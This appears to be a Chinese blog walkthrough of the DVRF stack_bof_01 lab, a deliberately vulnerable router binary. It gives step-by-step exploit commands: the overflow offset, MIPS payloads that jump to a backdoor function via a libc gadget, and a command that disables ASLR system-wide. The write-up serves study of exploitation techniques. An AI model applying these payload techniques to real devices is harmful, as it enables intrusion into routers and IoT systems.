DVRF-stack_bof_01

背景

DVRF(Damn Vulnerable Router Firmware)是一个不错的IoT固件漏洞平台

项目地址: https://github.com/praetorian-inc/DVRF

 

提取固件

binwalk -Me  DVRF_v03.bin

其提取出的文件系统是squashfs,存在漏洞的文件存放在pwnable/Intro下。

测试程序

cd squashfs-root

cp (which qemu-mipsel-static) .

sudo chroot . ./qemu-mipsel-static  ./pwnable/Intro/stack_bof_01 

可猜测其实际上是在程序后带上参数,将stack_bof_01放入物理的ida查看,代码最核心逻辑如下

可以看到调用strcpy函数,没有对长度进行限制,存在栈溢出漏洞。

测试漏洞

  1. 验证漏洞是否存在

python -c "print 'A'*1000" > payload

sudo chroot . ./qemu-mipsel-static   ./pwnable/Intro/stack_bof_01 (cat payload  )

可以看到程序报错,存在栈溢出漏洞。

2.测试溢出偏移

python ~/hhh/shellcode_tools/patternLocOffset.py -l 1000 -c -f payload

sudo chroot . ./qemu-mipsel-static  -g 6666 ./pwnable/Intro/stack_bof_01  (cat payload) #开启监听,等待远程gdb调试

将待调试文件stack_bof_01拖拽至物理机中,打开物理机上运行的ida,配置ida远程调试,其中hostname为虚拟机IP地址,端口号为监听端口号,这里是6666

开启远程调试,F9运行程序,程序崩溃,查看此时$RA,为0x41386741

python ~/hhh/shellcode_tools/patternLocOffset.py -l 1000 -s 0x41386741

偏移为204,程序自带后门函数,即dat_shell,地址为0x00400950,即可构造payload

3.构造payload

python -c "print 'a'*204+'\x50\x09\x40\x00'" >payload 

sudo chroot . ./qemu-mipsel-static  -g 6666 ./pwnable/Intro/stack_bof_01  (cat payload)

同样远程调试,程序成功跳转至dat_shell,但依旧崩溃,如下图;参考路由器漏洞挖掘之栈溢出入门(二)路由器漏洞靶场 The Damn Vulnerable Router Firmware Project 的学习,因为我们溢出的时候把 $gp 寄存器也覆盖了,$gp 寄存器是用来全局指针寻址用的,覆盖了他就会导致程序无法正常寻址,自然程序就会 crash。

在这里由于我的mipsrop插件问题无法在ida中查找libc.so.0中的gadget,但是使用ida打开lib/下的libc.so.0,其偏移0x6b20处确实有一个gadget,

故只需要确定运行时libc基地址即可

4.确定基地址

这里需要用到gdb-multiarch本地调试mips程序

命令行1:

echo 0 > /proc/sys/kernel/randomize_va_space #由于是本地学习漏洞,可关闭aslr降低难度

sudo chroot . ./qemu-mipsel-static  -g 6666 ./pwnable/Intro/stack_bof_01  (cat payload)

命令行2:

gdb-multiarch ./pwnable/Intro/stack_bof_01

set architecture mips

set endian little

target remote 127.0.0.1:6666 #开启远程调试

vmmap #查看内存布局

可以看到这里不知为何我的内存布局没有显示出libc,所以需要寻找另一方法确定libc基址

p &memset #查看memset地址,为0x408b6e10。(友情提示,需要在memset处下断点,运行至memset,不然由于之前没有运行memset,memset地址为其got地址)

ida打开libc.so.0,查看memset偏移为0x0001BE10 

则libc基地址为:0x408b6e10-0x0001BE10=0x4089b000

gadget地址为 :0x4089b000+0x6b20=0x408a1b20

5.最终payload

python -c "print 'a'*204+'\x20\x1b\x8a\x40'+'\x50\x09\x40\x00'" > payload
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01  (cat payload)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值